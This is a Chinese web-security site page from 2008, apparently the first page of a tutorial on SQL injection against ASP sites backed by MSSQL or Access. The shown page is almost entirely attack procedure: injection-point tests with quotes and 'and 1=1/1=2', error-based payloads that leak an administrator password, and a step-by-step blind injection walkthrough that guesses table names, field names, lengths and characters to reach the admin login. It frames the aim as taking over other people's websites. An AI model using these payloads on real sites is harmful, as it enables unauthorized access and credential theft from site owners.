通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
推荐:网站中SQL注入脚本漏洞的挖掘与防护
责任编辑:酷酷の鱼   更新日期:2008-4-2
 

来源:安全中国

随着网络经济的复舒,开始越来越多的网站涌现出来,随着脚本漏洞的挖掘,黑客也越来越猖狂,并且越来越低龄化和傻瓜化。“你只要会用一个工具就可以黑站”,这就是脚本漏洞利的特点。这些漏洞的主要成因是编程程序员的素质,往往在编写asp或php等程序时候对字符的过滤不严密,对注入漏洞不了解,或者某个参数忘记检查导致的。

由于编写网页程序这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。我们看一个例子:在本机建一个基于iis的asp程序http://localhost/test/show.asp?ID=3,将这个网址提交到服务器后,服务器将进行类似Select * from 表名 where 字段="&ID的查询(ID即客户端提交的参数,本例即是3),再将查询结果返回给客户端,如果这里客户端故意提交这么一个网址:http://localhost/test/show.asp?ID=3 and user>0,这时,服务器运行Select * from 表名 where 字段=444 and user>0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下:

  ·错误类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ’test’ 转换为数据类型为 int 的列时发生语法错误。
/test/show.asp, 第 34 行

从这个出错信息中,我们可以获得以下信息:该站使用MSSQL数据库,用ODBC连接,连接帐号名为:test。所谓SQL注入,就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。通常别有用心者的目标是获取网站管理员的帐号和密码。比如当知道网站管理员帐号存在表login中,管理员帐号名为admin 想知道admin的密码,这里接着从客户端提交这样一个网址:
http://localhost/test/show.asp?ID=4 and (Select password from login where user_name=’admin’)>0,返回的出错信息如下:

  ·错误类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 ’admin888’ 转换为数据类型为 int 的列时发生语法错误。
/test/show.asp, 第 34 行

现在出来了“admin888”就是管理员的密码!得到这个密码,这时您就可以用这个帐号和密码接管人家的网站了!当然我们并不知道帐号就在表login中,而且也不知道管理员名为admin,但这些不容难办到,我们可以写个工具进行猜解,速度很快就可以找到你想要的东西了。前面是有关mssql数据库的注入基础,我们再看一看acce数据库的注入基础:首先进行浏览器的设置,以保证手工注入时能返回出错信息。其操作步骤为:右键单击浏览器图标,选择“属性”,在弹出来的对话框中选择“高级”选项卡,接着去掉“显示友好的HTTP错误信息”前面的钩,最后点击“应用”按钮即可。

对于sql注入得先找到注入点,注入点的判断方法为:通常打开一个类似http://wwww.xxxx.com/xxx.asp?id=xx的url后加个单引号,变成http://ww.xxx.com/xxx.asp?id=xx’

如果出现错误提示,则说明可能存在注入漏洞,再输入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查询数据库,1=1是一个恒等式可以忽略,因此会返回一个正常的页面,此页面和http://wwww.xxxx.com/xxx.asp?id=xx一样,这时入侵者便判断此站有希望被注入。如果返回的是一些错误信息,那么一些初级的入侵者可能就会放弃这个站点。入侵者进一步向浏览器提交如下url: http://www.xxx.com/xxx.asp?id=xx and 1=2,1=2为一个恒不等式,如果该站点支持数据库查询,则大概会返回如下所示的信息:

Microsoft vbscript 编译器错误 错误码率 

‘800a03f6’                                                                                                                 

缺少’End’

/iishelp/common/500-100.asp,行242

ADODB.Field 错误 ‘800a0bcd’

一般出现以上信息就可以确定存在sql注入漏洞了。下面我们来看一下sql注入的过程分析:    

  如: 打开:http://hostlocal/test2/list.asp?id=17在其后面加'为http://hostlocal/test2/list.asp?id=17'
出错!显示为:“数据库出错”。那么接下来我们便进行如下操作:

1 猜管理员帐号表。
2 猜相应表中的用户的字段名以及密码的字段名。
3 猜出用户名的长度和密码的长度
4 猜出用户和密码
5 找到管理页面进入管理

猜管理员的表:                            

 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值
返回文章证明,有一个admin的表;如果没有返回文章,证明出错不存在admin这个表。
    
猜用户的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')返回错误信息,表示没有user这个用户段名
再来!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa')
没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在username个字段,只是用户名不是aaa

猜密码的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where passwd='aaa')返回错误信息表示没有passwd这个密码字段名。                        

再来:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where password=aaa')没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在password这个字段,只是密码不是aaa

猜用户字段名长度:                          

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)

>5)                                                             

 正确
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)
正确
用户名长度大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)

=7)                                                              

呵``` 用户名长度为7位

猜密码长度:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
正确
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
正确
密码长度也是大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)
呵``` 密码长度为7位

猜用户名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a')

 用户名第一个字母是:a                                                          

猜用户名第二位:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,2,1)='b')                                             

以此类推!

猜密码:                                                                       

猜密码跟猜用户名一样!
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a') 
猜完后来到管理页面:
http://hostlocal/test2/admin.asp

登录

[1] [2] [3] 下一页

  • 上一篇文章:
  • 下一篇文章: 没有了
  • 最近更新
    推荐文章 瑞星公司04月02日发布 每日计算机病毒及木马播报
    普通文章 "MSN蠕虫"再肆虐 向用户发送诱惑性消息
    普通文章 新西兰18岁少年黑客获刑 曾侵入130万台电脑
    普通文章 灰鸽子仍旧泛滥! 卡巴斯基病毒一周报
    普通文章 新版iframe挂马攻击手段篡改上百万网页
    普通文章 黑客大赛:Mac已破 Vista,Linux暂时无恙
    普通文章 黑客大赛闭幕 Linux幸免于难
    普通文章 打PowerPoint漏洞补丁 防ppt蛀虫病毒
    普通文章 防火墙的分类与作用 浅论防火墙技术应用
    普通文章 详细阐述计算机网络安全的6大指标
    热门文章
    普通文章蠕虫利用MSN,YAHOO聊天工具传播恶意广告
    普通文章网游盗号木马再次袭来 多款网游遭殃
    普通文章磁碟机专杀成小杀毒软件 自带引擎与病毒库
    普通文章电子标签技术成黑客目标 安全亟待解决
    普通文章信用卡软件漏洞泄露数据 Visa发警告
    普通文章蠕虫病毒利用MSN聊天工具传播恶意广告
    普通文章瑞星建成国内首个“病毒自动分析系统”
    普通文章Mozilla高层炮轰苹果利用补丁通道强装Safari
    普通文章禁止指定程序运行的方法
    普通文章alpha2 shellcode解密的vbs脚本
    精彩专题